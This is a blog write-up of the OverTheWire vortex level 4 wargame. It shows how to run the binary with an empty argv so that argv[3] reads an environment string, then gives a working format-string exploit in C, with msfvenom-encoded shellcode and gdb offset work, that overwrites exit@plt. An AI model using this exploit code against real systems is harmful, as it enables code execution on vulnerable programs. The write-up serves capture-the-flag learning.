Overthewire vortex Wargame - Level 4
Posted by Klaus Eisentraut in ctf
This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2, Level #3.
Level 4
Level #4 was a very interesting one!
I've learned a lot about how environment variables work in Linux and some gdb
tricks.
But now, let's take a look at the challenge!
The provided source code looks like this:
int main(int argc, char **argv)
{
if(argc) exit(0);
printf(argv[3]);
exit(EXIT_FAILURE);
}
Part 1 - Bypassing the argc check
At first, this format string vulnerability might seem impossible to exploit, because we access argv[3]
, but argc
must be zero, otherwise the program will terminate. But if argc
is zero, argv[3]
must be already an out-of-bound read. So what does it read then?
Taking a closer look at the stack layout for i386, we learn that the stack looks like:
...
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
...
envp[]
is the environment of a process, and we can control this when executing a process!
What we need to do, is to execute this program with zero arguments.
Then, argc
will be 0 and the argv
-pointers will not exist.
If we execute our vortex4
binary like this, argv[3]
will point to the following:
argv[0]
is the NULL that endsargv[]
argv[1]
isenvp[0]
argv[2]
isenvp[1]
argv[3]
isenvp[2]
Let's try this! First, I tried to use Python's os.execve
function, but this failed. Obviously, Python does not allow an empty argv[]
array:
Traceback (most recent call last):
File "test.py", line 2, in <module>
os.execve('/vortex/vortex4', [], ['asdf'])
ValueError: execve: argv must not be empty
So, I had to use C instead of Python:
/* part1.c */
#include <unistd.h>
#include <stdio.h>
int main()
{
char* argv[] = {NULL};
char* const envp[8] = {"AAAA", "BBBB", "CCCC", NULL};
execve("./vortex4", argv, envp);
// this should never be called
puts("execve failed...");
return 0x42;
}
After compiling it with gcc -o part1 part1.c
, it worked as expected and the printf wrote the value I've stored in envp[2]
:
$ ./part1
CCCC
Part 2 - Exploiting the format string vulnerability
Now, we are ready for the second part of this challenge, the actual exploiting. This is a standard format string overflow and I strongly recommend to watch this video from liveoverflow for explanations.
Like in the hard part of level #3 before, we need to overwrite the exit@plt
address.
If we write an arbitrary address to 0x0804a014
, the instruction flow will jump to this address.
$ objdump -S -M intel vortex4
[... snip ...]
08048330 <exit@plt>:
8048330: ff 25 14 a0 04 08 jmp DWORD PTR ds:0x804a014
8048336: 68 10 00 00 00 push 0x10
804833b: e9 c0 ff ff ff jmp 8048300 <.plt>
[... snip ...]
We also need to store our payload in an executable region of the memory.
As the stack is executable here, my solution will simply put the payload into stack.
In my solution, we simply will use envp[1]
in order to store it.
We will also overwrite the shellcode address to 0x0804a014
in two steps where we write two bytes each by using two %n
s in the format string.
Therefore, we will need to store the addresses 0x0804a014
and 0x0804a016
somewhere where we can access them easily.
We choose to prepend them simply in front of the actual payload.
Also, for correct 4 byte alignment, we will later see that we need to store three bytes junk between of them. Our preliminary exploit source code where the format string is for now only a constant string looks like:
#include <unistd.h>
unsigned char payload[] =
// memory addresses where we want to write to (in little endian)
"\x14\xa0\x04\x08"
"\x16\xa0\x04\x08"
// junk for alignment
"AA"
// msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex5" --format=c -e x86/shikata_ga_nai
// Payload size: 96 bytes
"\xb8\x11\xd3\x5c\x03\xdb\xd8\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x12\x83\xc7\x04\x31\x47\x0f\x03\x47\x1e\x31\xa9\x69\x2b\xed"
"\xcb\x3c\x4d\x65\xc1\xa3\x18\x92\x71\x0b\x69\x35\x82\x3b\xa2"
"\xa7\xeb\xd5\x35\xc4\xbe\xc1\x67\x0b\x3f\x12\x48\x69\x56\x7c"
"\xb9\x0e\xc9\xf4\xe5\xff\x6c\x81\x86\xd0\x18\x06\x3a\x5b\x80"
"\xa0\xe5\xd3\x2b\x22\x6a\x3b\xda\xab\xfe\x37\x47\x4c\xcb\xb7"
"\xd0\xff\xba\x59\x13\x7f";
// python -c "print('A'*256)"
unsigned char formatstr[] =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main(int argc, char *argv[]) {
char* argv_new[] = {NULL};
char* const envp_new[] = {"", payload, formatstr, NULL};
execve("/vortex/vortex4", argv_new, envp_new);
}
All what is left to do is to find the offsets required in the actual format string.
We have two big problems with gdb
which we need to overcome here:
- We are starting a new process here.
gdb
needs to be instructed to debug the new process. We need to runset follow-fork-mode child
in order to do that. gdb
somehow adds additional environment variables. Therefore, the stack addresses are different when debugging and when doing the actual exploit. After reading this stackoverflow answer, my solution was to useset exec-wrapper env -i
.
Now, we are ready to run and debug the program in order to calculate the offsets:
vortex4@vortex:~$ gdb ./win
[... snip ...]
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) set exec-wrapper env -i
(gdb) break main
Breakpoint 1 at 0x400531
(gdb) run
Starting program: /home/vortex4/win
Breakpoint 1, 0x0000000000400531 in main ()
(gdb) cont
Continuing.
process 526 is executing new program: /vortex/vortex4
Breakpoint 1, 0x08048450 in main ()
(gdb) break *0x08048473
Breakpoint 2 at 0x8048473
(gdb) cont
Continuing.
Breakpoint 2, 0x08048473 in main ()
(gdb) x/400x $esp
0xffffdcf0: 0xffffdee7 0xf7ffd000 0x0804849b 0xf7fcc000
0xffffdd00: 0x08048490 0x00000000 0x00000000 0xf7e3bad3
[... snip ...]
0xffffde70: 0x00000000 0x00000000 0x00000000 0x0804a014
0xffffde80: 0x0804a016 0x11b84141 0xdb035cd3 0x2474d9d8
0xffffde90: 0xc9335ff4 0xc78312b1 0x0f473104 0x311e4703
0xffffdea0: 0xed2b69a9 0x654d3ccb 0x9218a3c1 0x35690b71
0xffffdeb0: 0xa7a23b82 0xc435d5eb 0x0b67c1be 0x6948123f
0xffffdec0: 0x0eb97c56 0xffe5f4c9 0xd086816c 0x5b3a0618
0xffffded0: 0xd3e5a080 0x3b6a222b 0x37feabda 0xb7cb4c47
0xffffdee0: 0x59baffd0 0x41007f13 0x41414141 0x41414141
0xffffdef0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf00: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf10: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf20: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf30: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf40: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf50: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf60: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf70: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf80: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf90: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdfa0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdfb0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdfc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdfd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdfe0: 0x41414141 0x00414141 0x726f762f 0x2f786574
0xffffdff0: 0x74726f76 0x00347865 0x00000000 0x00000000
0xffffe000: Cannot access memory at address 0xffffe000
We can see that the shellcode resides at address 0xffffde86
.
In fact, we double check that the shellcode works by manually overwriting the address with this value:
(gdb) set *0x804a014=0xffffde86
(gdb) cont
Continuing.
process 526 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048473
All we need to do now is to do the set *0x804a014=0xffffde86
by exploiting the format string.
As we have already put two pointers at the memory addresses 0xffffde7c
and 0xffffde80
, this is easy.
We simply calculate the relative offset from $esp
to our pointers.
As (0xffffde7c - 0xffffdcf0) // 4
is 99 and we want to write the values 0xde7c
and then 0xffff
, the format string will look like:
%56956x # write 56956 or 0xde7c bytes of output
%99$n # dereference the first pointer and write something like 0x....DE7C in little endian to it
%8569x # write more output until we have reached 65535 or 0xFFFF
%100$n # dereference the second pointer and write something like 0x....FFFF in little endian to it
This format string will be put into the beginning of the variable formatstr
of our source code from above, but we don't want to change the total length of this string.
Otherwise, the addresses would change and we would need to recalculate the offsets again.
Our final program is therefore:
/* win.c */
#include<unistd.h>
unsigned char payload[] =
"\x14\xa0\x04\x08"
"\x16\xa0\x04\x08"
"AA"
// msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex5" --format=c -e x86/shikata_ga_nai
// Payload size: 96 bytes
"\xb8\x11\xd3\x5c\x03\xdb\xd8\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x12\x83\xc7\x04\x31\x47\x0f\x03\x47\x1e\x31\xa9\x69\x2b\xed"
"\xcb\x3c\x4d\x65\xc1\xa3\x18\x92\x71\x0b\x69\x35\x82\x3b\xa2"
"\xa7\xeb\xd5\x35\xc4\xbe\xc1\x67\x0b\x3f\x12\x48\x69\x56\x7c"
"\xb9\x0e\xc9\xf4\xe5\xff\x6c\x81\x86\xd0\x18\x06\x3a\x5b\x80"
"\xa0\xe5\xd3\x2b\x22\x6a\x3b\xda\xab\xfe\x37\x47\x4c\xcb\xb7"
"\xd0\xff\xba\x59\x13\x7f";
// python -c "print('A'*256)"
unsigned char formatstr[] =
"%56966x%99$n%8569x%100$n"
//"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int main(int argc, char *argv[]) {
char* argv_new[] = {NULL};
char* const envp_new[] = {"", payload, formatstr, NULL};
execve("/vortex/vortex4", argv_new, envp_new);
}
When this is run, we see a lot of 65535 bytes of mostly empty output from the printf call and the the password:
[... snip ...]
804849bA:4[...]lr